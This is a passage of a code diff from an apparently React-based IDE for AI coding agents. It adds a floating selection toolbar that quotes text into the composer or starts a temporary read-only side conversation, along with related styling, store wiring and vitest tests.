const view = render(<SelectionToolbar streamRef={{ current: stream }} task={agent} subagent={subagent} />);
return { row, text, view };
}
/** Selects `node`'s text as the user would, then releases the mouse over the conversation. */
function selectThenRelease(node: Node) {
const range = document.createRange();
range.selectNodeContents(node);
const selection = document.getSelection()!;
selection.removeAllRanges();
selection.addRange(range);
fireEvent.mouseUp(document, { button: 0 });
}
const sideButton = (view: ReturnType<typeof render>) => view.queryByRole("button", { name: "Start Side Conversation" });
afterEach(() => document.querySelectorAll("[data-selection-stream]").forEach((n) => n.remove()));
beforeEach(() => actions.execute.mockClear());
it("offers Reply and a side conversation on a selection", () => {
const { view, row } = setup({});
selectThenRelease(row);
expect(view.getByRole("button", { name: "Reply" })).toBeInTheDocument();
expect(sideButton(view)).toBeInTheDocument();
});
it("quotes the selection into the composer on Reply", () => {
const { view, row } = setup({});
selectThenRelease(row);
fireEvent.click(view.getByRole("button", { name: "Reply" }));
expect(actions.execute).toHaveBeenCalledWith("agents.quoteReply", { task: task.id, text: "Selected text" });
expect(view.queryByRole("button", { name: "Reply" })).toBeNull();
});
it("starts the side conversation with the selection", () => {
const { view, row } = setup({});
selectThenRelease(row);
fireEvent.click(sideButton(view)!);
expect(actions.execute).toHaveBeenCalledWith("agents.startSideConversation", {
task: task.id,
text: "Selected text",
});
});
it("hides when the selection collapses", () => {
const { view, text } = setup({});
selectThenRelease(text);
expect(view.getByRole("button", { name: "Reply" })).toBeInTheDocument();
document.getSelection()?.removeAllRanges();
fireEvent(document, new Event("selectionchange"));
expect(view.queryByRole("button", { name: "Reply" })).toBeNull();
});
it("offers no side conversation in a subagent's view", () => {
const { view, row } = setup({ subagent: true });
selectThenRelease(row);
expect(view.getByRole("button", { name: "Reply" })).toBeInTheDocument();
expect(sideButton(view)).toBeNull();
});
it("offers no side conversation while the agent runs", () => {
const { view, row } = setup({ task: { ...task, status: "running" } });
selectThenRelease(row);
expect(sideButton(view)).toBeNull();
expect(view.getByRole("button", { name: "Reply" })).toBeInTheDocument();
});
it("shows nothing in an archived task", () => {
const { view, row } = setup({ task: { ...task, status: "archived" } });
selectThenRelease(row);
expect(view.queryByRole("button", { name: "Reply" })).toBeNull();
});
it("ignores a selection in an editable field", () => {
const { view, text, row } = setup({});
const field = document.createElement("div");
field.setAttribute("contenteditable", "true");
field.textContent = "typing here";
row.parentElement!.appendChild(field);
text.remove();
selectThenRelease(field);
expect(view.queryByRole("button", { name: "Reply" })).toBeNull();
});
it("offers no side conversation from a side conversation", () => {
const { view, row } = setup({ task: { ...task, capabilities: { ...task.capabilities!, readOnly: true } } });
selectThenRelease(row);
expect(view.getByRole("button", { name: "Reply" })).toBeInTheDocument();
expect(sideButton(view)).toBeNull();
});
+155
Переглянути файл
@@ -0,0 +1,155 @@
/**
* Floating toolbar above a selection in the conversation: quote it into the composer
* ("Reply"), or start a temporary side conversation about it.
*/
import { useEffect, useEffectEvent, useLayoutEffect, useRef, useState, type RefObject } from "react";
import clsx from "clsx";
import type { AgentTask } from "@/bindings";
import { executeAction } from "@/platform/actions";
import { T } from "@/ui";
import { isBusy } from "./model";
import { selectionIn } from "./selection";
import styles from "./SelectionToolbar.module.css";
/** What a shown toolbar acts on: the selection and where it sits. */
interface Shown {
text: string;
/** Selection range and the stream's visible band, viewport-relative at the moment it was shown. */
range: { left: number; top: number; bottom: number };
stream: { left: number; right: number; top: number; bottom: number };
}
/** Toolbar dimensions before the first layout measured them; only clamping leans on them. */
const ESTIMATED = { width: 200, height: 26 };
/** Just above the selection, below it when there is no room, within the stream's visible band. */
function place(shown: Shown, size: { width: number; height: number }): { left: number; top: number } {
const margin = 6;
const { width, height } = size.width ? size : ESTIMATED;
const left = Math.min(
Math.max(shown.range.left, shown.stream.left + margin),
Math.max(shown.stream.left + margin, shown.stream.right - width - margin),
);
const above = shown.range.top - height - margin;
const top = above >= shown.stream.top + margin ? above : shown.range.bottom + margin;
return {
left,
top: Math.min(Math.max(top, shown.stream.top + margin), Math.max(margin, shown.stream.bottom - height - margin)),
};
}
export function SelectionToolbar({
streamRef,
task,
subagent,
}: {
streamRef: RefObject<HTMLDivElement | null>;
task: AgentTask;
/** The conversation shown belongs to a subagent: side conversations fork the task's own. */
subagent: boolean;
}) {
const ref = useRef<HTMLDivElement>(null);
const [shown, setShown] = useState<Shown | null>(null);
const [size, setSize] = useState({ width: 0, height: 0 });
const hide = useEffectEvent(() => setShown(null));
/** Shows the toolbar over the selection, when there is one to act on. */
const show = useEffectEvent(() => {
const stream = streamRef.current;
if (!stream || task.status === "archived") return hide();
const text = selectionIn(stream);
const selection = stream.ownerDocument.getSelection();
if (!text.trim() || !selection?.rangeCount) return hide();
const range = selection.getRangeAt(0);
const start = range.startContainer instanceof Element ? range.startContainer : range.startContainer.parentElement;
// A selection in an editable field edits that field, not the conversation.
if (!start || start.closest("input, textarea, [contenteditable='true'], .cm-editor")) return hide();
const box = range.getBoundingClientRect();
const view = stream.getBoundingClientRect();
setShown({
text,
range: { left: box.left, top: box.top, bottom: box.bottom },
stream: { left: view.left, right: view.right, top: view.top, bottom: view.bottom },
});
});
useEffect(() => {
const stream = streamRef.current;
const doc = stream?.ownerDocument;
if (!stream || !doc) return;
// Anything that starts a new selection, or moves the conversation, hides it again.
const collapsed = () => {
const selection = doc.getSelection();
if (!selection || selection.isCollapsed) hide();
};
const down = (e: MouseEvent) => {
if (!ref.current?.contains(e.target as Node)) hide();
};
const up = (e: MouseEvent) => {
if (e.button === 0 && !ref.current?.contains(e.target as Node)) show();
};
stream.addEventListener("scroll", hide);
doc.addEventListener("mousedown", down);
doc.addEventListener("mouseup", up);
doc.addEventListener("selectionchange", collapsed);
return () => {
stream.removeEventListener("scroll", hide);
doc.removeEventListener("mousedown", down);
doc.removeEventListener("mouseup", up);
doc.removeEventListener("selectionchange", collapsed);
};
}, [streamRef]);
// The first placement clamps against the real dimensions, known after one layout.
useLayoutEffect(() => {
const el = ref.current;
if (!el || !shown) return;
const { offsetWidth, offsetHeight } = el;
setSize((s) =>
s.width === offsetWidth && s.height === offsetHeight ? s : { width: offsetWidth, height: offsetHeight },
);
}, [shown]);
// Any live task but a side conversation itself (the read-only one); the host refuses an
// agent it can't push to a mode that asks before changing things.
const side =
!!shown && !subagent && task.status !== "archived" && !isBusy(task.status) && !task.capabilities?.readOnly;
const startSide = () => {
if (!shown) return;
setShown(null);
void executeAction("agents.startSideConversation", { task: task.id, text: shown.text });
};
return (
<div
ref={ref}
className={clsx(styles.toolbar, shown && styles.visible)}
style={shown ? place(shown, size) : undefined}
// Clicking a button keeps the selection it acts on.
onMouseDown={(e) => e.preventDefault()}
>
{shown && (
<>
<button
type="button"
className={styles.button}
onClick={() => {
if (!shown) return;
setShown(null);
void executeAction("agents.quoteReply", { task: task.id, text: shown.text });
}}
>
<T>Reply</T>
</button>
{side && (
<button type="button" className={styles.button} onClick={startSide}>
<T>Start Side Conversation</T>
</button>
)}
</>
)}
</div>
);
}
+82 -26
Переглянути файл
@@ -14,6 +14,37 @@
font-size: var(--fs-ui);
}
/* Temporary side conversation: an accent bar divides it from what it forked from. */
.sideBanner {
grid-column: 1 / -1;
/* The grid stretches auto rows; keep the bar at its content height. */
align-self: start;
display: flex;
align-items: center;
gap: var(--space-2);
padding: var(--space-2) var(--space-3);
border-bottom: 1px solid var(--border);
background: var(--accent-soft);
color: var(--fg);
}
.sideBanner :global(svg) {
color: var(--accent);
flex: none;
}
.sideName {
font-weight: 600;
white-space: nowrap;
}
.sideHint {
flex: 1;
min-width: 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
color: var(--fg-muted);
font-size: var(--fs-small);
}
.conversation {
container-type: inline-size;
display: flex;
@@ -52,38 +83,55 @@
max-width: none;
}
/* Under the composer: where the task works on the left; changes, meters and terminal on the right. */
.providerIcon {
color: var(--fg-muted);
}
/* The task's state and its terminal and changes, just above the composer. */
.statusBar {
display: flex;
align-items: center;
gap: var(--space-2);
/* What doesn't fit moves to the next line whole, instead of every fact shrinking to a letter. */
flex-wrap: wrap;
/* The changes chip sits above the line; the facts stay on that line's baseline. */
align-items: flex-end;
gap: var(--space-0-5) var(--space-1-5);
min-width: 0;
height: 24px;
padding: 0 6px;
padding: 0 2px;
overflow: hidden;
color: var(--fg-subtle);
font-size: var(--fs-small);
}
.where {
display: inline-flex;
flex: 0 1 auto;
align-items: center;
gap: var(--space-2);
min-width: 0;
overflow: hidden;
}
.fact {
/* The facts on the bar's line are as tall as its chips, so their text shares one centre line. */
.agent {
display: inline-flex;
flex: 0 1 auto;
max-width: 100%;
align-items: center;
gap: var(--space-1);
height: 22px;
min-width: 0;
white-space: nowrap;
color: var(--fg-secondary);
}
.factText {
.agentName {
min-width: 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
/* Where the task works, as the new-task composer shows it. */
.where {
display: inline-flex;
flex: 0 1 auto;
max-width: 100%;
align-items: center;
/* The chips' own padding spaces them. */
gap: var(--space-0-5);
min-width: 0;
overflow: hidden;
}
.note {
flex: none;
color: var(--fg-subtle);
}
.state {
display: inline-flex;
@@ -97,15 +145,16 @@
.statusEnd {
display: inline-flex;
flex: 1 1 auto;
justify-content: flex-end;
flex-wrap: wrap;
align-items: center;
gap: var(--space-2);
gap: var(--space-0-5) var(--space-2);
min-width: 0;
}
/* Shrinks before the terminal buttons do: in a narrow docked session the meters clip, not the controls. */
.statusMeters {
display: inline-flex;
flex: 0 1 auto;
margin-left: auto;
align-items: center;
height: 22px;
gap: var(--space-2);
@@ -128,18 +177,16 @@
min-width: 0;
}
.statusChip {
composes: surface from "../../ui/Chip.module.css";
display: inline-flex;
align-items: center;
gap: var(--space-1-5);
height: 22px;
max-width: 100%;
min-width: 0;
padding: 0 6px;
padding: 0 8px;
overflow: hidden;
border: none;
border-radius: var(--radius-control);
background: transparent;
color: inherit;
color: var(--fg-secondary);
font: inherit;
font-size: var(--fs-small);
font-variant-numeric: tabular-nums;
@@ -350,10 +397,12 @@
--session-card-width: 96%;
}
}
/* A narrow docked session: where it works gives way first, the changes and meters stay readable. */
/* A narrow docked session: rather than cut every fact to a letter or two, the bar keeps the
agent's icon and its state; where it works is in the task's tooltip and Changes. */
@container (max-width: 420px) {
.where {
flex-shrink: 2;
.where,
.agentName {
display: none;
}
.processBody,
.turnBody {
@@ -461,6 +510,13 @@
white-space: pre-wrap;
overflow-wrap: anywhere;
}
/* Quoted context a reply carried with it: dimmer, with a marker line. */
.quote {
margin: 0;
padding-left: var(--space-2);
border-left: 2px solid var(--border);
color: var(--fg-muted);
}
.editMessage {
width: 100%;
+71 -48
Переглянути файл
@@ -38,6 +38,7 @@ import { confirm } from "@/workbench/messages";
import {
Button,
Checkbox,
Chip,
EmptyState,
Icon,
IconButton,
@@ -65,6 +66,7 @@ import { ChangesResizer, useChangesWidthStyle } from "./ChangesResizer";
import { Composer } from "./Composer";
import { ReferencedText } from "./ReferenceChip";
import { selectionIn } from "./selection";
import { SelectionToolbar } from "./SelectionToolbar";
import { SubmitButton } from "./SubmitButton";
import {
canSend,
@@ -136,6 +138,7 @@ import {
refreshChanges,
rollbackChanges,
scheduleChanges,
discardEphemeral,
editQueued,
forkTask,
rerunFrom,
@@ -163,6 +166,7 @@ function TaskSession({ id, docked }: { id: string; docked: boolean }) {
const entries = useAgents((s) => s.entries.get(id));
// Grouping needs commits of the task's own: local checkouts keep the flat list.
const isolation = useAgents((s) => s.tasks.get(id)?.isolation);
const ephemeral = useAgents((s) => s.ephemeral.has(id));
const grouped = useChangesOptions((s) => s.groupByCommit) && isolation === "worktree";
const sinceStart = useAgents((s) => s.changes.get(id));
const review = useAgents((s) => s.groupedChanges.get(id));
@@ -264,6 +268,22 @@ function TaskSession({ id, docked }: { id: string; docked: boolean }) {
}
}}
>
{ephemeral && (
<div className={styles.sideBanner}>
<Icon name="branch" size={13} />
<span className={styles.sideName}>
<T>Side conversation</T>
</span>
<span className={styles.sideHint}>
<T>Temporary and read-only: closing it discards the conversation and its context.</T>
</span>
<IconButton
icon="close"
title="Discard Side Conversation"
onClick={() => void discardEphemeral(id).catch(() => undefined)}
/>
</div>
)}
<div className={styles.conversation} hidden={docked && changesOpen}>
{view && <SubagentBar task={task} path={path} cards={cards} onNavigate={setPath} />}
<FoldedContent.Provider value={finding && shown}>
@@ -397,34 +417,41 @@ function SessionStatus({
showContextMenu(e, taskMenu([task]));
}}
>
{/* Where the task works, in one quiet line like the new-task page: project (in a workspace), branch, worktree. */}
<span className={styles.where} title={task.cwd}>
{project?.workspace && projectName && (
<span className={styles.fact}>
<Icon name="folder" size={13} />
<span className={styles.factText}>{projectName}</span>
</span>
)}
{branch && (
<span className={styles.fact}>
<Icon name="branch" size={13} />
<span className={styles.factText}>{branch}</span>
</span>
)}
{!local && (
<span className={styles.fact}>
<T>Worktree</T>
</span>
)}
{task.model && !pickedModel && <span className={styles.fact}>{task.model}</span>}
</span>
{/* Ready is the usual state: only the others are worth a word. */}
{task.status !== "ready" && (
<span className={styles.state}>
<T>{statusLabel(task.status)}</T>
{task.status === "limited" && task.resetsMs != null && ` · ${tx`resets ${formatSentAt(task.resetsMs)}`}`}
<span className={styles.agent} title={`${providerName(task.provider)} · ${task.cwd}`}>
<Icon name={providerIcon(task.provider)} size={13} className={styles.providerIcon} />
<span className={styles.agentName}>
{providerName(task.provider)}
{/* The composer's model picker shows the model when the agent offers one. */}
{task.model && !pickedModel ? ` · ${task.model}` : ""}
</span>
)}
</span>
{/* The same three facts as the new-task composer: project, checkout, branch. */}
<span className={styles.where}>
{projectName && (
<Chip icon="folder" title={projectRoot ?? undefined}>
{projectName}
</Chip>
)}
<Chip icon={local ? "folder" : "branch"}>
<T>{local ? "Local checkout" : "New worktree"}</T>
</Chip>
{branch && (
<>
{local && (
<span className={styles.note}>
<T>on</T>
</span>
)}
<Chip icon="branch" title={branch}>
{branch}
</Chip>
</>
)}
</span>
<span className={styles.state}>
<T>{statusLabel(task.status)}</T>
{task.status === "limited" && task.resetsMs != null && ` · ${tx`resets ${formatSentAt(task.resetsMs)}`}`}
</span>
<span className={styles.state} role="status" aria-live="polite" aria-atomic="true">
{effortAnnouncement ? tx("Effort: {level}").replace("{level}", effortAnnouncement) : ""}
</span>
@@ -512,7 +539,7 @@ function Usage({ usage }: { usage: AgentUsage }) {
<span className={styles.usageBar} aria-hidden>
<span style={{ width: `${label.percent}%` }} />
</span>
{`${label.percent}%`}
{label.short}
</span>
);
}
@@ -1090,6 +1117,7 @@ function Stream({
<WorkingRow task={task} entries={entries} subagent={subagent} />
</div>
{away && !!entries?.length && <JumpToLatest onJump={jumpToLatest} />}
<SelectionToolbar streamRef={ref} task={task} subagent={!!subagent} />
</div>
</RevealFold.Provider>
</OpenFolds.Provider>
@@ -1745,14 +1773,14 @@ function ImageStrip({ images, onRemove }: { images: AgentImage[]; onRemove?: (in
<img className={styles.image} src={imageSrc(img)} alt={img.name ?? tx("Image")} />
</button>
{onRemove && (
<IconButton
<button
type="button"
className={styles.removeImage}
aria-label={tx("Remove Image")}
onClick={() => onRemove(i)}
icon="close"
size="small"
/>
>
<Icon name="close" size={10} />
</button>
)}
</span>
))}
@@ -2878,11 +2906,20 @@ function SessionComposer({
body: String(e),
}),
);
const openMcp = () => setMcpOpenRequest((n) => n + 1);
const shown = useEditorShown();
const effortAnnouncement = useEffortFocus(focusRoot, shown && task.status !== "archived", task.config, setOption);
return (
<div className={styles.composerArea}>
<SessionStatus
task={task}
entries={entries}
head={head}
changes={changes}
commits={commits}
changesOpen={changesOpen}
onToggleChanges={onToggleChanges}
effortAnnouncement={effortAnnouncement}
/>
{task.status === "archived" && (
<div className={styles.banner}>
<span className={styles.bannerText}>
@@ -2921,11 +2958,8 @@ function SessionComposer({
config={task.config}
onConfig={setOption}
onSubmit={send}
onOpenMcp={openMcp}
onOpenMcp={() => setMcpOpenRequest((n) => n + 1)}
disabled={task.status === "archived"}
addMenu={[
{ id: "mcp", label: "MCP Servers…", icon: "plugin", disabled: task.status === "archived", run: openMcp },
]}
toolbar={
<>
<ConfigPickers config={task.config} onChange={setOption} />
@@ -2935,7 +2969,6 @@ function SessionComposer({
disabled={task.status === "archived"}
busy={busy}
openRequest={mcpOpenRequest}
hideTrigger
onChange={(next) =>
void setTaskMcpOverrides(task.id, next).catch((e: unknown) =>
notifications().notify({
@@ -2961,16 +2994,6 @@ function SessionComposer({
</>
}
/>
<SessionStatus
task={task}
entries={entries}
head={head}
changes={changes}
commits={commits}
changesOpen={changesOpen}
onToggleChanges={onToggleChanges}
effortAnnouncement={effortAnnouncement}
/>
</div>
);
}
+8 -6
Переглянути файл
@@ -318,7 +318,7 @@ describe("Composer editing", () => {
});
describe("Composer current file", () => {
it("offers the focused editor's file, and adds it with the selection to requests when chosen", () => {
it("offers the focused editor's file until the draft references it", () => {
const view = {} as TextEditorHandle["view"];
act(() => setIdeContext(false));
act(() =>
@@ -329,10 +329,10 @@ describe("Composer current file", () => {
const offer = screen.getByRole("button", { name: /main\.ts/ });
expect(offer).toHaveTextContent("Current File");
fireEvent.click(offer);
expect(useAgents.getState().ideContext).toBe(true);
expect(composerDraft(ID).text).toBe("");
expect(composerDraft(ID).text).toBe("@src/main.ts ");
expect(toPrompt(composerDraft(ID)).files).toEqual(["/p/src/main.ts"]);
expect(screen.queryByRole("button", { name: /main\.ts/ })).toBeNull();
expect(screen.getByTitle("src/main.ts is added to your request")).toHaveTextContent("Current File");
expect(document.querySelector("[data-ref-path]")).toHaveAttribute("data-ref-path", "/p/src/main.ts");
} finally {
act(() => useEditorRegistry.setState({ active: null }));
}
@@ -348,6 +348,8 @@ describe("Composer IDE context", () => {
);
try {
renderComposer();
const toggle = screen.getByRole("button", { name: /IDE Context Enabled/ });
expect(toggle).toHaveAttribute("aria-pressed", "true");
expect(screen.queryByRole("button", { name: /main\.ts/ })).toBeNull();
expect(screen.getByTitle("src/main.ts is added to your request")).toHaveTextContent("Current File");
@@ -367,9 +369,9 @@ describe("Composer IDE context", () => {
// A draft that already references the file is sent as written.
expect(await send("see @src/main.ts:1")).toEqual({ text: "see @src/main.ts:1", files: [], images: [] });
fireEvent.click(screen.getByRole("button", { name: "Don't Add the Current File" }));
fireEvent.click(toggle);
expect(useAgents.getState().ideContext).toBe(false);
expect(screen.getByRole("button", { name: /main\.ts/ })).toHaveTextContent("Current File");
expect(screen.getByRole("button", { name: /IDE Context Disabled/ })).toHaveAttribute("aria-pressed", "false");
expect(await send("explain")).toEqual({ text: "explain", files: [], images: [] });
} finally {
act(() => useEditorRegistry.setState({ active: null }));
+8
Переглянути файл
@@ -385,6 +385,14 @@ export const isContextOption = (id: string) => /^(context_tier|contextTier)$/.te
export const isPerModelOption = (o: AgentConfigOption) =>
o.category === "thought_level" || o.category === "context_tier" || isContextOption(o.id);
/** Formats a per-1M-token credit rate cleanly (`200`, `1000`, `0`, `12.5`). */
export function formatCreditRate(rate: number | null | undefined): string {
if (rate == null || !Number.isFinite(rate)) return "0";
if (rate === 0) return "0";
if (rate < 0.01) return rate.toExponential(2);
return Number(rate.toFixed(4)).toString();
}
const matchesCategory = (o: AgentConfigOption, category: string) =>
o.category === category ||
(category === "model_config" &&
+20 -6
Переглянути файл
@@ -7,6 +7,7 @@ import { createElement } from "react";
import { registerActions } from "@/platform/actions";
import { useProject } from "@/platform/project";
import { executeAction } from "@/platform/actions";
import { tx } from "@/platform/i18n";
import { lazyComponent, lazyWhen } from "@/ui";
import { isVirtualUri } from "@/platform/virtualDocs";
import { call, commands } from "@/platform/ipc";
@@ -43,10 +44,12 @@ import {
closeAndNewTask,
connect,
disconnect,
discardEphemeral,
openHome,
refreshModels,
refreshProviders,
useAgents,
watchEphemeralTasks,
} from "./store";
import { TaskStatusMark } from "./TaskStatusMark";
import { taskActions, useAgentsHeaderMenu } from "./taskActions";
@@ -134,6 +137,7 @@ export function activate(): () => void {
else if (s.settings?.agents?.newTaskApprovals !== prev.settings?.agents?.newTaskApprovals && s.project?.root)
void refreshProviders();
}),
watchEphemeralTasks(),
registerToolWindow({
id: TOOL_WINDOW,
title: "Agents",
@@ -145,9 +149,12 @@ export function activate(): () => void {
plainTitle: true,
headerActions: lazyComponent(() => import("./AgentsView").then((m) => m.AgentsHeaderActions)),
useBadge: () => {
const n = useAgents(
(s) => [...s.tasks.values()].filter((t) => t.status === "needsInput" || s.unread.has(t.id)).length,
);
const n = useAgents((s) => {
const ephemeral = s.ephemeral;
return [...s.tasks.values()].filter(
(t) => !ephemeral.has(t.id) && (t.status === "needsInput" || s.unread.has(t.id)),
).length;
});
return n || null;
},
}),
@@ -163,7 +170,8 @@ export function activate(): () => void {
component: lazyComponent(() => import("./SessionEditor").then((m) => m.SessionEditor)),
title: (input) => {
const data = input.data as { task: string; title?: string };
return useAgents.getState().tasks.get(data.task)?.title ?? data.title ?? "Agent Task";
const title = useAgents.getState().tasks.get(data.task)?.title ?? data.title ?? "Agent Task";
return useAgents.getState().ephemeral.has(data.task) ? tx`Side conversation: ${title}` : title;
},
icon: (input) => {
const task = useAgents.getState().tasks.get((input.data as { task: string }).task);
@@ -172,7 +180,15 @@ export function activate(): () => void {
// Busy / done marker in the tab's trailing slot (#2233).
trailing: (input) => createElement(TaskStatusMark, { task: (input.data as { task: string }).task }),
// Tabs of tasks deleted meanwhile are closed when the tasks load (`connect`).
// A side conversation restored after a page reload is valid again; after an app
// restart its task is gone and this same mechanism closes the tab.
restorable: true,
// Closing a side conversation's last tab discards it (the task, context included).
onClose: (input) => {
const task = (input.data as { task: string }).task;
const s = useAgents.getState();
if (s.ephemeral.has(task) && s.docked !== task) void discardEphemeral(task);
},
onTabClose: (tabId) => clearAgentTabFontZoom(tabId),
// Rebuilding a long conversation on every switch back is slow.
keepAlive: true,
@@ -187,8 +203,6 @@ export function activate(): () => void {
},
onTabClose: (tabId) => clearAgentTabFontZoom(tabId),
restorable: true,
// Mounting it again on every switch rebuilds the composer and refetches the agent, models and branches.
keepAlive: true,
}),
// An explicit editor drop sets the placement for subsequent sessions too.
registerEditorDropHandler({
+4 -6
Переглянути файл
@@ -152,7 +152,6 @@ it("keeps cached choices usable while refreshing and shares the completion/coold
expect(screen.getByRole("button", { name: "Start" })).toBeEnabled();
await waitFor(() => expect(useAgents.getState().modelRequests.size).toBe(0));
emit(catalog("first", { retryAtMs: Date.now() + 30_000 }));
fireEvent.click(screen.getByRole("button", { name: "Model" }));
expect(screen.getByRole("button", { name: /Refresh in \d+s/ })).toBeDisabled();
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("small");
fireEvent.click(screen.getByRole("button", { name: "Start" }));
@@ -214,12 +213,11 @@ it("retains cached model and effort choices after a command failure and retries
draft: savedDraft({ provider: "first", config: { model: "big" }, thoughtLevels: { big: { effort: "low" } } }),
});
render(<HomeEditor />);
expect(screen.getByRole("button", { name: "Reasoning" })).toHaveTextContent("low");
fireEvent.click(screen.getByRole("button", { name: "Model" }));
expect(await screen.findByRole("alert")).toHaveTextContent("connection lost");
expect(screen.getByRole("button", { name: "Configure model" })).toHaveTextContent("biglow");
fireEvent.click(screen.getByRole("option", { name: "small" }));
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("small");
fireEvent.click(screen.getByRole("button", { name: "Model" }));
fireEvent.click(screen.getByRole("button", { name: "Refresh models" }));
await waitFor(() => expect(screen.queryByRole("alert")).not.toBeInTheDocument());
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("small");
@@ -240,11 +238,11 @@ it("preserves a valid remembered model and effort when discovery changes the def
);
render(<HomeEditor />);
await waitFor(() => expect(useAgents.getState().modelRequests.size).toBe(0));
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("big");
expect(screen.getByRole("button", { name: "Reasoning" })).toHaveTextContent("low");
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("biglow");
fireEvent.click(screen.getByRole("button", { name: "Model" }));
expect(screen.getByRole("option", { name: "new" })).toBeVisible();
fireEvent.keyDown(document, { key: "Escape" });
fireEvent.click(screen.getByRole("button", { name: "Configure model" }));
expect(screen.getByRole("radio", { name: "low" })).toHaveAttribute("aria-checked", "true");
fireEvent.click(screen.getByRole("button", { name: "Start" }));
await waitFor(() => expect(backend.create).toHaveBeenCalled());
expect(backend.create.mock.calls[0]![0].config).toEqual([
+29 -1
Переглянути файл
@@ -7,6 +7,7 @@ const backend = vi.hoisted(() => ({
tasks: new Map<string, AgentTask>(),
entries: new Map<string, AgentEntry[]>(),
forkTask: vi.fn(),
startSideConversation: vi.fn(),
rerunFrom: vi.fn(),
quoteInComposer: vi.fn(),
notify: vi.fn(),
@@ -14,6 +15,7 @@ const backend = vi.hoisted(() => ({
vi.mock("./store", () => ({
useAgents: { getState: () => backend },
forkTask: backend.forkTask,
startSideConversation: backend.startSideConversation,
rerunFrom: backend.rerunFrom,
quoteInComposer: backend.quoteInComposer,
}));
@@ -45,7 +47,7 @@ const task: AgentTask = {
commands: [],
usage: null,
queue: [],
capabilities: { fork: true, rollback: true, steer: true, images: true },
capabilities: { fork: true, rollback: true, steer: true, images: true, readOnly: false },
};
const entries: AgentEntry[] = [prompt, { type: "agent", text: "**Answer**" }];
const run = (id: string, arg: unknown = { task: task.id, turn: 0 }) =>
@@ -134,6 +136,32 @@ it("branches after the reply's turn", async () => {
expect(backend.forkTask).toHaveBeenCalledWith(task.id, 1);
});
it("starts a temporary side conversation on the selection", async () => {
backend.startSideConversation.mockResolvedValue("t2");
await run("startSideConversation", { task: task.id, text: "the selected text" });
expect(backend.startSideConversation).toHaveBeenCalledWith(task.id, "the selected text");
expect(backend.forkTask).not.toHaveBeenCalled();
expect(backend.quoteInComposer).not.toHaveBeenCalled();
});
it.each(["archived", "busy", "empty", "unknown"])("does not start a side conversation: %s", async (kind) => {
let arg: unknown = { task: task.id, text: "the selected text" };
if (kind === "archived") backend.tasks.set(task.id, { ...task, status: "archived" });
if (kind === "busy") backend.tasks.set(task.id, { ...task, status: "running" });
if (kind === "empty") arg = { task: task.id, text: " " };
if (kind === "unknown") arg = { task: "missing", text: "x" };
await run("startSideConversation", arg);
expect(backend.startSideConversation).not.toHaveBeenCalled();
});
it("reports side conversation errors", async () => {
backend.startSideConversation.mockRejectedValueOnce(new Error("Unavailable"));
await run("startSideConversation", { task: task.id, text: "the selected text" });
expect(backend.notify).toHaveBeenCalledWith(
expect.objectContaining({ title: "Couldn't start the side conversation" }),
);
});
it("reports regeneration errors and allows retry", async () => {
backend.rerunFrom.mockRejectedValueOnce(new Error("Unavailable"));
await run("regenerateReply");
+26 -2
Переглянути файл
@@ -3,8 +3,8 @@ import type { Action } from "@/platform/actions";
import { tx } from "@/platform/i18n";
import { confirm } from "@/workbench/messages";
import { notifications } from "@/workbench/contributions";
import { replyOperations, replyTurns, turnNumbers } from "./model";
import { forkTask, quoteInComposer, rerunFrom, retractFrom, useAgents } from "./store";
import { isBusy, replyOperations, replyTurns, turnNumbers } from "./model";
import { forkTask, quoteInComposer, rerunFrom, retractFrom, startSideConversation, useAgents } from "./store";
export interface CopyReply {
text: string;
@@ -34,6 +34,12 @@ interface ReplyTarget {
turn: number;
}
/** A selection to start a temporary side conversation from. */
export interface SideSelection {
task: string;
text: string;
}
function resolveReply(arg: unknown) {
const target = arg as ReplyTarget | undefined;
if (!target || typeof target.task !== "string" || !Number.isInteger(target.turn)) return null;
@@ -143,4 +149,22 @@ export const replyActions: Action[] = [
return runReplyOperation(task.id, "Couldn't fork the task", () => forkTask(task.id, reply.turn + 1));
},
},
{
id: "agents.startSideConversation",
title: "Start Side Conversation",
category: "Agents",
icon: "branch",
hidden: true,
run: ({ arg }) => {
const target = arg as SideSelection | undefined;
if (!target || typeof target.task !== "string" || typeof target.text !== "string" || !target.text.trim()) return;
const task = useAgents.getState().tasks.get(target.task);
// Not from a side conversation itself; the host refuses an agent without a mode that
// asks before changing things (it would edit the project and then vanish).
if (!task || task.status === "archived" || isBusy(task.status) || task.capabilities?.readOnly) return;
return runReplyOperation(task.id, "Couldn't start the side conversation", () =>
startSideConversation(task.id, target.text),
);
},
},
];
+1 -3
Переглянути файл
@@ -2016,9 +2016,7 @@ describe("meters in the task header", () => {
render(<SessionEditor input={input("A")} />);
await screen.findByText("Answer A");
const usage = screen.getByLabelText(/^Context /);
// The bar and percent show; the counts are in its label and tooltip.
expect(usage).toHaveTextContent("12%");
expect(usage).toHaveAccessibleName(/24k\/200k \(12%\)/);
expect(usage).toHaveTextContent("24k/200k (12%)");
expect(usage.querySelector(`.${styles.usageBar} span`)).toHaveStyle({
width: "12%",
});
+202
Переглянути файл
@@ -0,0 +1,202 @@
import { beforeEach, expect, it, vi } from "vitest";
import type { AgentEntry, AgentTask } from "@/bindings";
import { discardEphemeral, sendMessage, startSideConversation, useAgents } from "./store";
const ipc = vi.hoisted(() => ({ create: vi.fn(), prompt: vi.fn(), delete: vi.fn(), cancel: vi.fn() }));
vi.mock("@/platform/ipc", async (original) => ({
...(await original<typeof import("@/platform/ipc")>()),
commands: {
...(await original<typeof import("@/platform/ipc")>()).commands,
agentCreateEphemeral: (...args: unknown[]) => ipc.create(...args),
agentPrompt: (...args: unknown[]) => ipc.prompt(...args),
agentDelete: (...args: unknown[]) => ipc.delete(...args),
agentCancel: (...args: unknown[]) => ipc.cancel(...args),
},
}));
const editor = vi.hoisted(() => ({
open: vi.fn(),
close: vi.fn(),
/** Pane id reported for a session-key lookup; set per test ("null" when nothing is found). */
paneOf: vi.fn<(key: string) => string | null>(() => null),
}));
vi.mock("@/workbench/contributions", async (original) => ({
...(await original<typeof import("@/workbench/contributions")>()),
editorService: () => ({ openInput: editor.open, closeInput: editor.close, paneOf: editor.paneOf }),
maybeEditorService: () => ({ activePath: () => null }),
